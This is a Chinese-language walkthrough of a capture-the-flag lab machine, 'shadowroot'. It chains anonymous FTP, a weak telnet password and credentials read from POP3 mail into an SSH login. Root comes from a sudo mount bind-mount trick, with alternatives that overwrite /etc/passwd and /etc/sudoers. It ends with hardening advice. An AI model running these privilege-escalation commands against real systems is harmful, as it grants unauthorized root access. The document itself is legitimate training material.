
信息收集
端口扫描
nmap -sT -p- --min-rate=10000 192.168.43.232
Nmap scan report for shadowroot (192.168.43.232)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
995/tcp open pop3s
2121/tcp open ccproxy-ftp
2222/tcp open EtherNetIP-1
2323/tcp open 3d-nfsd
MAC Address: 08:00:27:2D:4B:C9 (Oracle VirtualBox virtual NIC)
服务版本探测
nmap -sV -sC -p 22,80,995,2121,2222,2323 192.168.43.232
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
995/tcp open ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
|_pop3-capabilities: RESP-CODES PIPELINING USER UIDL TOP SASL(PLAIN)
2121/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.43.124
| Logged in as ftp
| TYPE: ASCII
| vsFTPd 3.0.3 - secure, fast, stable
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 4096 Feb 02 02:48 pub
2222/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
2323/tcp open telnet Linux telnetd
Web 目录探测
feroxbuster -u http://192.168.43.232 -w ~/dic/common.txt --filter-status 404
200 GET 368l 933w 10701c http://192.168.43.232/
200 GET 25l 127w 10359c http://192.168.43.232/icons/openlogo-75.png
200 GET 368l 933w 10701c http://192.168.43.232/index.html
仅 Apache 默认页面,无隐藏目录。
漏洞利用
FTP 匿名登录 — 2121/tcp
ftp 192.168.43.232 2121
> anonymous
> [空密码]
230 Login successful.
ftp> ls
229 Entering Extended Passive Mode (|||48714|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Feb 02 02:48 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||40464|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 85359 Feb 02 02:38 Boleto.jpg
-rw-r--r-- 1 0 0 320 Jan 30 17:58 Manifiesto_0.txt
-rw-r--r-- 1 0 0 294586 Jan 30 18:51 postal_caribe.jpg
-rw-r--r-- 1 0 0 58 Jan 30 18:00 postal_caribe.txt
226 Directory send OK.
情报文件
Manifiesto_0.txt — Phantom 自白:
Como white-hat, securizaba fortalezas ajenas... pero vi las grietas en el sistema.
Las corporaciones pagan por proteccion, pero el mundo real se desmorona bajo deudas y control.
Cuanto mas puedo seguir ayudando al enemigo?
Un paraiso lejano me espera... quizas ya estoy alli.
- Phantom
postal_caribe.txt:
Postal del Caribe - Un sueno de escape... o una pista?
两张 jpg 可能含隐写
strings 查看
Telnet 登录 — 2323/tcp
telnet 192.168.43.232 2323
shadowroot nombre: phantom
Contrasena: shadow321
Linux shadowroot 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
Has entrado al lair de Phantom.
Si no eres yo, ya estas muerto digitalmente...
Pero bienvenido, cazador... cuanto duraras?
- Phantom
Ultimo inicio de sesion: vie ene 30 19:04:26 CET 2026 de 192.168.100.167 en pts/1
Tiene correo nuevo.
Bienvenido de nuevo, intruso... o deberia decir cazador?
Phantom sabe que estas aqui. Buscas el camino verdadero?
Usa esto... pero recuerda: todo es un juego.
Conectando al servidor de correo oculto... (POP3 localhost:110)
Usuario: phantom
Pass: shadow321 (la misma que usaste aqui)
El servidor de correo te espera... demuestra que vales la pena.
POP3 邮件读取 — localhost:110
USER phantom
+OK
PASS shadow321
+OK Logged in.
LIST
+OK 2 messages:
1 1881
2 306
.
RETR 1
邮件 1(投递失败回执,内嵌 SSH 凭据):
From: Phantom <phantom@local>
Subject: Credenciales SSH - No las compartas, novato
Usuario: phantom_ssh
Contrasena: ThL_sh@d0w2026!
Conecta a SSH puerto 2222 con estas... pero es el camino real?
No tardes, el tiempo corre... y yo ya estoy en el Caribe.
- Phantom
RETR 2
邮件 #2 含相同凭据,确认无误。
横向移动
SSH 登录 — 2222/tcp
sshpass -p 'ThL_sh@d0w2026!' ssh -o StrictHostKeyChecking=no -p 2222 phantom_ssh@192.168.43.232
uid=1002(phantom_ssh) gid=1002(phantom_ssh) grupos=1002(phantom_ssh)
LD_PRELOAD 干扰
每条命令执行前出现:
ERROR: ld.so: object '/tmp/malicious.so' from LD_PRELOAD cannot be preloaded
(cannot open shared object file): ignored.
分析:Phantom 在 ~/.bashrc 写入 export LD_PRELOAD=/tmp/malicious.so。/tmp/malicious.so 文件从未存在——这是纯粹的恶作剧,不构成实际威胁。
处理:
# 临时屏蔽
unset LD_PRELOAD
# 永久清除
sed -i '/LD_PRELOAD/d' ~/.bashrc
每次新 SSH 会话自动执行 .bashrc,因此 unset 需每次重做。
User Flag
cat ~/THL_USER.txt
THL_USER{PhantomWelcomesYou}
El senuelo mordio. Que comience el laberinto.
Pero recuerda: todo lo que ves es calculado.
权限提升
sudo 枚举
sudo -l
Matching Defaults entries for phantom_ssh on shadowroot:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
use_pty
User phantom_ssh may run the following commands on shadowroot:
(ALL) NOPASSWD: /usr/sbin/cryptsetup, /bin/mount, /bin/umount, /usr/bin/mkdir
mount -o bind 提权(采用)
sudo mount -o bind /bin/sh /bin/mount
sudo mount
# → root shell
原理:
mount -o bind将/bin/sh的内容镜像到/bin/mount,覆盖原 mount 二进制sudo mount以 root 执行/bin/mount,但此时它已是 shell- 不修改任何系统文件,用完还原即可
备选方案
# 方案B:覆写 /etc/passwd
cp /etc/passwd /tmp/passwd
echo "newroot::0:0:root:/root:/bin/bash" >> /tmp/passwd
sudo mount --bind /tmp/passwd /etc/passwd
su newroot
# 方案C:覆写 /etc/sudoers
cp /etc/sudoers /tmp/sudoers
echo "phantom_ssh ALL=(ALL:ALL) NOPASSWD: ALL" >> /tmp/sudoers
sudo mount --bind /tmp/sudoers /etc/sudoers
sudo su -
LUKS 路径尝试(未成功)
dd if=/dev/zero of=/tmp/exploit.img bs=1M count=10
# 10+0 records in, 10485760 bytes copied
sudo /usr/sbin/cryptsetup luksFormat /tmp/exploit.img
# ATENCION! Esto sobreescribira los datos...
# Esta seguro? (Teclee 'yes' en mayusculas): YES
# → 格式化成功,设密码 exploit
sudo /usr/sbin/cryptsetup luksOpen /tmp/exploit.img myexploit
# → 容器打开成功
sudo /sbin/mkfs.ext4 /dev/mapper/myexploit
# Sorry, user phantom_ssh is not allowed to execute
# '/sbin/mkfs.ext4' as root on shadowroot.
# → mkfs 不在 sudoers,此路不通
事后清理
sudo umount /bin/mount
攻击链总结
flowchart TD
A["🔓 FTP 匿名登录<br/>2121/tcp"] --> B["情报文件下载<br/>Manifiesto / postal_caribe"]
C["🔑 Telnet 弱口令<br/>2323/tcp<br/>phantom:shadow321"] --> D["POP3 邮件读取<br/>localhost:110"]
D --> E["SSH 凭据泄露<br/>phantom_ssh<br/>ThL_sh@d0w2026!"]
E --> F["SSH 登录<br/>2222/tcp"]
F --> G["🏁 User Flag<br/>THL_USER{...}"]
F --> H["sudo -l 枚举<br/>mount NOPASSWD"]
H --> I["mount -o bind 提权<br/>/bin/sh → /bin/mount"]
I --> J["⚡ Root Shell"]
漏洞清单
| 编号 | 漏洞 | 严重 | 利用 |
|---|---|---|---|
| V-01 | vsftpd 3.0.3 匿名登录 | 中 | 信息公开 |
| V-02 | Telnet 明文 + 弱口令 phantom:shadow321 | 高 | 初始立足 |
| V-03 | POP3 localhost 凭据复用 | 高 | 横向移动 |
| V-04 | /bin/mount NOPASSWD + bind 选项 | 严重 | 权限提升 |
防御建议
/etc/vsftpd.conf设anonymous_enable=NO,或 chroot 限制systemctl disable --now telnet,仅用 SSH- POP3 凭据不邮件明文传输;不同服务使用不同密码
- sudoers 收紧:
/bin/mount限定-t ext4 -o ro等白名单参数;NOPASSWD移除 - 清理生产环境中
.bashrc恶作剧代码
技巧沉淀
- Telnet → POP3 链式利用:一个弱口令引向更高级凭据
- mount -o bind 覆盖自身二进制:白名单提权最干净向量之一
- LUKS 路径 在
mkfs可用时是一个备选链 - LD_PRELOAD 恶作剧:不影响功能,但干扰心理,需识别并清除
- FTP 匿名 + SSH 多端口暴露 = 凭据泄露风险倍增
“Si no eres yo, ya estas muerto digitalmente…” — Phantom